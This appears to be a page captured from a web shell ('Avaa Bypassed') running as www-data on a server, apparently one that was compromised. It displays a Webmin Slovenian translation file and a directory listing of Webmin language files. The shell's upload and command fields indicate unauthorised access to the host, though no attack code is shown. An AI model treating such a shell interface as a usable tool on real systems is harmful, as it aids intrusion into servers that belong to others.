[ Avaa Bypassed ]




Upload:

Command:

www-data@3.148.237.97: ~ $
main_homepage=Domača stran
main_feedback=Predlogi ..
main_switch=Zamenjaj uporabnika ..
main_logout=Odjava
main_version=Različica $1 v $2 ($3)
main_title=Webmin $1 on $2 ($3)
main_title2=Webmin
main_title3=Webmin $1 ($2)
main_none=Nimate dostopa do nobenih modulov Webmin.
main_skill=Raven spretnosti
main_readonly=(Način samo za branje)
main_return=Vrnite se na $1
main_unused=Neuporabljeni moduli
main_refreshmods=Osvežite module

link_essl=Modul Net::SSLeay Perl, potreben za povezavo HTTPS, ni nameščen v vašem sistemu.

category_servers=Strežniki
category_hardware=Strojna oprema
category_system=Sistem
category_webmin=Webmin
category_net=Mreženje
category_syslet=Syslets
category_cluster=Grozd
category_info=Informacije
category_=Orodja

longcategory_servers=Moduli za konfiguracijski splet, e-pošto, FTP in druge strežnike
longcategory_hardware=Moduli za konfiguracijo tiskalnika, diska in druge strojne opreme
longcategory_system=Moduli za uporabnike, datotečne sisteme, Cron opravila in druge sistemske nastavitve
longcategory_webmin=Moduli za konfiguriranje samega Webmina
longcategory_net=Moduli za konfiguriranje omrežnih in mrežnih storitev
longcategory_cluster=Moduli, ki lahko upravljajo z več strežniki iz enega vmesnika
longcategory_info=Moduli, ki prikazujejo podatke o vašem sistemu
longcategory_=Moduli, ki opravljajo druge raznovrstne naloge

header_webmin=Webmin indeks
header_module=Kazalo modula
header_help=Pomoč ..
header_config=Konfiguriranje modula
header_servers=Webmin strežniki

index=kazalo
yes=Da
no=Ne
save=Shrani
create=Ustvari
delete=Izbriši
find=Najti
error=Napaka
error_previous=Prejšnja stran
error_stack=Track klic
error_file=mapa
error_line=Vrstica
error_sub=Funkcija
error_stackline=V datoteki $1 v vrstici $2 kliče $3
efilewrite=Pisanje v $1 ni uspelo : $2
efileclose=Pri zaprtju ni bilo mogoče zapisati na $1 : $2 
efileopen=$1 ni bilo mogoče odpreti za pisanje : $2
default=Privzeto
modify=Spremeni
reset=Ponastaviti
ok=v redu
cancel=Prekliči
fail=Ni uspelo
helpsearch=Poiščite Dokumente ..
switch_remote_euser=Uporabnik Unixa $1 ne obstaja.
programname=Webmin
euserdbacl=Uporabnika ACL ni bilo mogoče pridobiti : $1
euserdbacl2=Posodobitev uporabnika ACL ni uspela : $1
egroupdbacl=Ni bilo mogoče pridobiti ACL skupine : $1
egroupdbacl2=Posodobitve ACL skupine ni uspelo : $1

chooser_title1=Izberite datoteko ..
chooser_title2=Izberite Imenik ..
chooser_dir=Imenik $1
chooser_ok=V redu
chooser_date=Izberite datum
chooser_eopen=Oglas ni uspel : $1

users_title1=Izberite Uporabniki ..
users_title2=Izberite uporabnika ..
users_sel=Izbrani uporabniki
users_all=Vsi uporabniki
users_ok=V redu
users_cancel=Prekliči
users_clear=Jasno

groups_title1=Izberite Skupine.
groups_title2=Izberite Skupino.
groups_all=Vse skupine
groups_sel=Izbrane skupine
groups_ok=V redu
groups_cancel=Prekliči
groups_clear=Jasno

modules_title1=Izberite Module ..
modules_title2=Izberite modul ..
modules_sel=Izbrani moduli
modules_all=Vsi moduli
modules_ok=V redu
modules_cancel=Prekliči
modules_clear=Jasno

config_ecannot=Tega modula ni dovoljeno konfigurirati
config_title=Konfiguracija
config_dir=Za modul $1
config_header=Možnosti, ki jih je mogoče konfigurirati za $1
config_none=Noben
config_eaccess=Do tega modula nimate dostopa
config_emodule=Modul ne obstaja
config_err=Konfigura ni mogoče shraniti
config_nochange=Ne spreminjaj se
config_setto=Nastavljena
config_ewebmin=Tip parametra 14 deluje samo v Webminu

help_err=Pomoč ni bila prikazana
help_epath=Manjkajoča ali neveljavna pot pomoči
help_efile=Ni bilo mogoče prebrati datoteke pomoči $1
help_eheader=Manjka oddelek <header>
help_einclude=Ni bilo mogoče vključiti $1
help_eif=$1 neuspešno : $2
help_eexec=$1 neuspešno : $2

referer_title=Varnostno opozorilo
referer_warn=<b>Opozorilo!</b> Webmin je odkril, da je bil program $2 povezan z URL-jem $1, ki se zdi zunaj Webmin strežnik. To je morda poskus, da bi vaši strežnik zvabil v izvajanje nevarnega ukaza.
referer_warn_unknown=<b>Opozorilo!</b> Webmin je odkril, da je bil program $1 povezan z neznanim URL-jem, ki se zdi zunaj strežnika Webmin. To je morda poskus, da bi vaši strežnik zvabil v izvajanje nevarnega ukaza.
referer_fix1=If this is a legitimate link, you can allow links from this URL as follows :<ul><li>Login to Webmin normally.</li><li>Go to the <b>Webmin Configuration</b> module.</li><li>Click on the Trusted Referrers icon.</li><li>Enter the hostname $1 into the <b>Trusted websites</b> field, and click <b>Save.</b></li></ul>
referer_fix2=Alternately, you can configure Webmin to allow this link from the command line by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Add the line <tt>referers=$1</tt> at the end, or if a <tt>referers</tt> line already exists add <tt>$1</tt> to it.</li><li>Save the file.</li></ul>
referer_fix3u=Prepričajte se, da je vaš brskalnik konfiguriran za pošiljanje napotitvenih informacij, da jih Webmin lahko preveri.
referer_fix2u=Alternately, you can configure Webmin to allow links from unknown referers by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Find the line <tt>referers_none=1</tt> and change it to <tt>referers_none=0</tt>.</li><li>Save the file.</li></ul><p></p>WARNING - this has the side effect of opening your system up to reflected XSS attacks and so is not recommended!

session_header=Prijava v Webmin
session_mesg=Za prijavo na strežnik Webmin na $1 morate vnesti uporabniško ime in geslo.
session_mesg2=Za prijavo morate vnesti uporabniško ime in geslo.
session_user=Uporabniško ime
session_pass=Geslo
session_twofactor=Dvofaktorski žeton
session_login=Vpiši se
session_clear=Jasno
session_failed=Prijava ni uspela. Prosim poskusite ponovno.
session_twofailed=Dvofaktorska overitev ni uspela : $1
session_logout=Odjava je bila uspešna. Za ponovno prijavo uporabite spodnji obrazec.
session_timed_out=Seja je potekla po $1 minutah neaktivnosti.
session_save=Se spomnite prijave?

pam_header=Prijava v Webmin
pam_mesg=Na spodnje vprašanje morate odgovoriti, da se prijavite na strežnik Webmin na $1.
pam_mesg2=Za prijavo morate odgovoriti na spodnje vprašanje.
pam_login=Nadaljujte
pam_restart=Ponovni zagon

acl_root=Korenski imenik za izbiro datotek
acl_otherdirs=Drugi vidni imeniki v izbirniku datotek
acl_nodot=Skrij datoteke s pikami v izbirniku datotek?
acl_home=Uporabnikov domači imenik
acl_uedit=Uporabniki, ki so vidni v izbirniku uporabnikov
acl_uedit_all=Vsi uporabniki
acl_uedit_none=Ni uporabnikov
acl_uedit_only=Samo uporabniki
acl_uedit_except=Vsi razen uporabnikov
acl_uedit_uid=Uporabniki z UID-ji v dosegu
acl_uedit_group=Uporabniki s skupino
acl_gedit=Skupine, ki so vidne v izbirniku skupin
acl_gedit_all=Vse skupine
acl_gedit_none=Ni skupin
acl_gedit_only=Samo skupine
acl_gedit_except=Vse razen skupin
acl_gedit_gid=Skupine z GID-ji v dosegu
acl_feedback=Ali lahko pošljete povratne informacije po e-pošti?
acl_feedback2=Da
acl_feedback1=Da, vendar ne s konfiguracijskimi datotekami
acl_feedback0=Ne
acl_feedback3=Da, s konfiguracijskimi datotekami
acl_rpc=Ali lahko sprejemate klice RPC?
acl_rpc2=Samo za <tt>root</tt> ali <tt>admin</tt>
acl_rpc1=Da
acl_rpc0=Ne
acl_readonly2=Uporabnik je v demo načinu?
acl_readonlyyes=Da (Nekateri moduli morda niso na voljo)
acl_negative=Dodeli uporabnikom nova dovoljenja za modul?
acl_fileunix=Brskaj po datotekah kot Unixov uporabnik
acl_sameunix=Enako kot prijava v Webmin
acl_webminsearch=Pokaži iskalno polje za Webmin?

month_1=Januarja
month_2=Februarja
month_3=Marec
month_4=April
month_5=Maj
month_6=Junij
month_7=Julija
month_8=Avgust
month_9=Septembra
month_10=Oktober
month_11=Novembra
month_12=December

day_0=Nedelja
day_1=Ponedeljek
day_2=Torek
day_3=Sreda
day_4=Četrtek
day_5=Petek
day_6=Sobota

smonth_1=Jan
smonth_2=Feb
smonth_3=Mar
smonth_4=Apr
smonth_5=Maj
smonth_6=Junij
smonth_7=Julij
smonth_8=Avg
smonth_9=Sep
smonth_10=Okt
smonth_11=Nov
smonth_12=Dec

sday_0=Su
sday_1=Mo
sday_2=Tu
sday_3=Mi
sday_4=Th
sday_5=Fr
sday_6=Sa

emodule=Dostop zavrnjen: Uporabnik $1 ne sme uporabljati modula $2
emodulecheck=Modul $1 ni na voljo v vašem sistemu
elock_tries2=Datoteke $1 ni bilo mogoče zakleniti po $2 minutah. Zadnja napaka je bila : $3

skill_high=Strokovnjak
skill_medium=Vmesni
skill_low=Novice

feedback_title=Spletne povratne informacije
feedback_desc=Ta obrazec vam omogoča, da prijavite napake pri dajanju predlogov razvijalcem Webmin glede morebitnih težav ali manjkajočih funkcij, ki ste jih našli. Ko kliknete gumb Pošlji, bodo podrobnosti, vnesene v obrazec, poslane po e-pošti $1.
feedback_desc2=Te povratne informacije bodo poslane razvijalcu Webmina, ne vašemu sistemskemu skrbniku, ponudnikom internetnih storitev ali gostiteljskemu podjetju. Prosimo, napišite svoje povratne informacije v angleščini, čeprav trenutno Webmin izvajate v drugem jeziku.
feedback_header=Podrobnosti povratnih informacij
feedback_name=Tvoje ime
feedback_email=Vaš email naslov
feedback_module=Glede modula
feedback_all=Vsi moduli
feedback_text=Opis težave ali predlog
feedback_os=Ali želite v e-pošto vključiti podrobnosti o operacijskem sistemu?
feedback_osdesc=Če je izbrana ta možnost, bo samodejno povratno sporočilo vključilo ime in različico vašega operacijskega sistema.
feedback_config=Ali želite v e-pošto vključiti konfiguracijo modula?
feedback_configdesc=Če je izbrano, bo e-poštno sporočilo vsebovalo konfiguracijo povezanega modula in vsebino vseh konfiguracijskih datotek, ki jih modul uporablja. Na primer, če bi bile povratne informacije povezane z modulom <i>Uporabniki in skupine</i>, bosta vaši datoteki <tt>/etc/passwd</tt> in <tt>/etc/shadow</tt> poslani.
feedback_attach=Dodatne datoteke, ki jih je treba priložiti
feedback_send=Pošlji povratno informacijo
feedback_mailserver=Pošlji preko SMTP strežnika
feedback_mailserver_def=Lokalni program za pošiljanje pošte
feedback_err=Povratnih informacij ni bilo mogoče poslati
feedback_emodule=V e-poštnem sporočilu ste izbrali konfiguracijo modula, vendar modula niste izbrali.
feedback_emodule2=Izbrani modul ne obstaja
feedback_econfig=Nimate popolnega dostopa do izbranega modula.
feedback_via=Poslane povratne informacije na $1 prek strežnika SMTP $2
feedback_prog=Poslane povratne informacije $1 s programom sendmail $2
feedback_esend=Povratne informacije ni bilo mogoče poslati prek sendmail programa ali lokalnega strežnika SMTP.
feedback_to=Pošljite povratne informacije na naslove
feedback_enoto=Nobenega naslova ni bilo mogoče vnesti
feedback_ecannot=Ne smete pošiljati povratnih informacij
feedback_ecannot2=Ne smete pošiljati povratnih informacij, ki vsebujejo konfiguracijske datoteke

progress_size2=Prenos $1 ($2) ..
progress_nosize=Prenos $1 ..
progress_datan=Prejeto $1 ($2 %)
progress_data2n=Prejeto $1
progress_done=.. prenos dokončan.
progress_incache=Najdeno $1 v predpomnilniku.

readparse_cdheader=Manjka glava vsebine-dispozicija
readparse_enc=Pričakujemo kodiranje podatkov obrazcev, vendar je dobil normalno kodiranje
readparse_max=Podatki so presegli največjo velikost $1 bytes

password_expired=Vaše geslo je poteklo in izbrati morate novo.
password_temp=Če želite nadomestiti začasno prijavo, morate izbrati novo geslo.
password_header=Izberite Novo geslo
password_user=Uporabniško ime
password_old=Trenutno geslo
password_new1=Novo geslo
password_new2=Ponovno novo geslo
password_ok=Spremeni se
password_clear=Jasno
password_done=Vaše geslo je bilo uspešno spremenjeno. Zdaj se lahko <a href='$1'>ponovno prijavite</a> z novim geslom.
password_err=Gesla ni bilo mogoče spremeniti
password_euser=Vašega prijavnega imena v datoteki z geslom ni bilo mogoče najti!
password_eold=Trenutno geslo ni pravilno
password_enew1=Nobeno geslo ni bilo vneseno
password_enew2=Vaša nova gesla se ne ujemajo
password_epam=Napaka PAM : $1
password_emodpam=Modul Authen::PAM perl, potreben za spremembo gesla, ni nameščen!
password_enewpass=Novo geslo ni dovoljeno : $1

ui_mandatory=To polje je obvezno
ui_checkmandatory=Nič ni bilo izbrano
ui_errors=Najdenih je bilo več napak :
ui_nothing=Nič ni vneseno
ui_searchcol=Poiščite vrstice kam
ui_searchfor=Vsebuje besedilo
ui_searchok=Iskanje
ui_selall=Izberi vse.
ui_selinv=Obrni izbor.
ui_edate=Neveljaven datum
ui_etime=Neveljaven čas
ui_paging=Prikazovanje vrstic $1 do $2 od $3
ui_rowlabel=$2 v vrstici $1 :
ui_filterbox=Vnesite za filtriranje ..

header_statusmsg=$1 se prijavi v $2 $3 on $4 ($5)

uptracker_title=Nalaganje datoteke
uptracker_file=Ime datoteke
uptracker_size=Velikost
uptracker_pc=Napredek
uptracker_eid=ID za prenos ni naveden
uptracker_eid2=ID nalaganja ni veljaven!
uptracker_of=$1 od $2

wsearch_title=Iščite $1
wsearch_modt=Modul
wsearch_mtitle=Ime modula
wsearch_what=Ujemanje stran
wsearch_type=Vrsta ujemanja
wsearch_mod=$1
wsearch_config_webmin=Konfiguracija modula Webmin
wsearch_config_usermin=Nastavitve za uporabniško ime
wsearch_help=Stran s pomočjo
wsearch_inmod=V $1
wsearch_text=Besedilo uporabniškega vmesnika
wsearch_esearch=Ničesar ni bilo treba vnesti.
wsearch_enone=Najdenih ni bilo nobenih Webmin modulov ali strani, ki bi ustrezale $1.
wsearch_on=(V $1)
wsearch_helpfor=Pomoč za <i>$1</i>
wsearch_htext=Ujemanje besedila
wsearch_htype=Vir
wsearch_hcgis=Reference
wsearch_type_mod=Ime modula
wsearch_type_config=Konfiguracija
wsearch_type_help=Stran s pomočjo
wsearch_type_text=Uporabniški vmesnik
wsearch_type_dir=URL modula
wsearch_hmod=Modul
wsearch_moddir=URL pot /$1/
wsearch_searching=Iskanje $1 ..
wsearch_found=najden $1 rezultati :

sql_emysqldriver=Ni bilo mogoče naložiti gonilnika MySQL DBI
sql_emysqlconnect=Povezava z bazo podatkov MySQL ni uspela : $1
sql_epostgresqldriver=Ni bilo mogoče naložiti gonilnika DBI PostgreSQL
sql_epostgresqlconnect=Povezave z bazo podatkov PostgreSQL ni uspelo : $1
sql_eldapdriver=Ni bilo mogoče naložiti LDAP perl modula
sql_eldapconnect=Povezave s strežnikom LDAP $1 ni bilo mogoče
sql_eldaptls=Šifriranja TLS za LDAP ni bilo mogoče zagnati : $1
sql_eldaplogin=Na strežniku LDAP ni bilo mogoče prijaviti kot $1 : $2 

log_email_subject=Ukrep za Webmin v $1
log_email_global=Globalna akcija Webmin
log_email_desc=To elektronsko sporočilo je Webmin poslal kot odgovor na uporabniško dejanje.
log_email_mod=Webmin modul: $1
log_email_moddesc=Naslov modula: $1
log_email_time=Dejanje izvedeno na: $1
log_email_system=Izvede se v sistemu: $1
log_email_user=Izvaja uporabnik: $1
log_email_script=Spletna skripta: $1
log_email_session=ID seje: $1
log_email_remote=Naslov stranke: $1

nice_size_PB=PB
nice_size_PiB=PiB
nice_size_TB=TBC
nice_size_TiB=TiB
nice_size_GB=GB
nice_size_GiB=GiB
nice_size_MB=MB
nice_size_MiB=MiB
nice_size_kB=kB
nice_size_kiB=KiB
nice_size_b=bajti

langauto_include=Vključite strojne prevode

file_truncated_message=pridobljeno $1 podatkov, okrnjeno $2 od $3 
file_truncated_message_head=pridobljen začetek $1 podatkov, okrnjen $2 od $3 
file_truncated_message_tail=prenesen konec $1 podatkov, okrnjen $2 od $3 

Filemanager

Name Type Size Permission Actions
af File 6.61 KB 0644
af.auto File 7.85 KB 0644
ar File 18.71 KB 0644
ar.auto File 787 B 0644
be.auto File 21.68 KB 0644
bg File 9.83 KB 0644
bg.auto File 10.45 KB 0644
ca File 14.48 KB 0644
ca.auto File 706 B 0644
cs File 13.96 KB 0644
cs.auto File 1012 B 0644
da File 13.66 KB 0644
da.auto File 573 B 0644
de File 15.1 KB 0644
de.auto File 390 B 0644
el File 16.96 KB 0644
el.auto File 6.62 KB 0644
en File 13.91 KB 0644
es File 15.14 KB 0644
es.auto File 425 B 0644
eu File 11.85 KB 0644
eu.auto File 2.79 KB 0644
fa File 14.04 KB 0644
fa.auto File 6.38 KB 0644
fi File 10.44 KB 0644
fi.auto File 4.62 KB 0644
fr File 10.98 KB 0644
fr.auto File 5.46 KB 0644
he File 2.44 KB 0644
he.auto File 13.55 KB 0644
hr.auto File 15.04 KB 0644
hu File 9.36 KB 0644
hu.auto File 6.66 KB 0644
it File 15.08 KB 0644
ja File 17.49 KB 0644
ja.auto File 413 B 0644
ko File 12.35 KB 0644
ko.auto File 3.27 KB 0644
lt File 6.77 KB 0644
lt.auto File 8.29 KB 0644
lv.auto File 15.11 KB 0644
ms File 13.49 KB 0644
ms.auto File 1.14 KB 0644
mt.auto File 15.18 KB 0644
nl File 13.67 KB 0644
nl.auto File 1.33 KB 0644
no File 13.85 KB 0644
no.auto File 214 B 0644
pl File 13.81 KB 0644
pl.auto File 1.06 KB 0644
pt File 13.19 KB 0644
pt.auto File 2.11 KB 0644
pt_BR File 7.1 KB 0644
pt_BR.auto File 8.24 KB 0644
ro File 9.69 KB 0644
ro.auto File 5.22 KB 0644
ru File 17.21 KB 0644
ru.auto File 4.05 KB 0644
sk File 8.47 KB 0644
sk.auto File 6.48 KB 0644
sl.auto File 14.74 KB 0644
sv File 2.31 KB 0644
sv.auto File 12.26 KB 0644
th File 4.92 KB 0644
th.auto File 18.93 KB 0644
tr File 2.81 KB 0644
tr.auto File 12.12 KB 0644
uk File 13.95 KB 0644
uk.auto File 6.41 KB 0644
ur.auto File 18.41 KB 0644
vi.auto File 17.28 KB 0644
zh File 9.33 KB 0644
zh.auto File 4.26 KB 0644
zh_TW File 6.42 KB 0644
zh_TW.auto File 6.67 KB 0644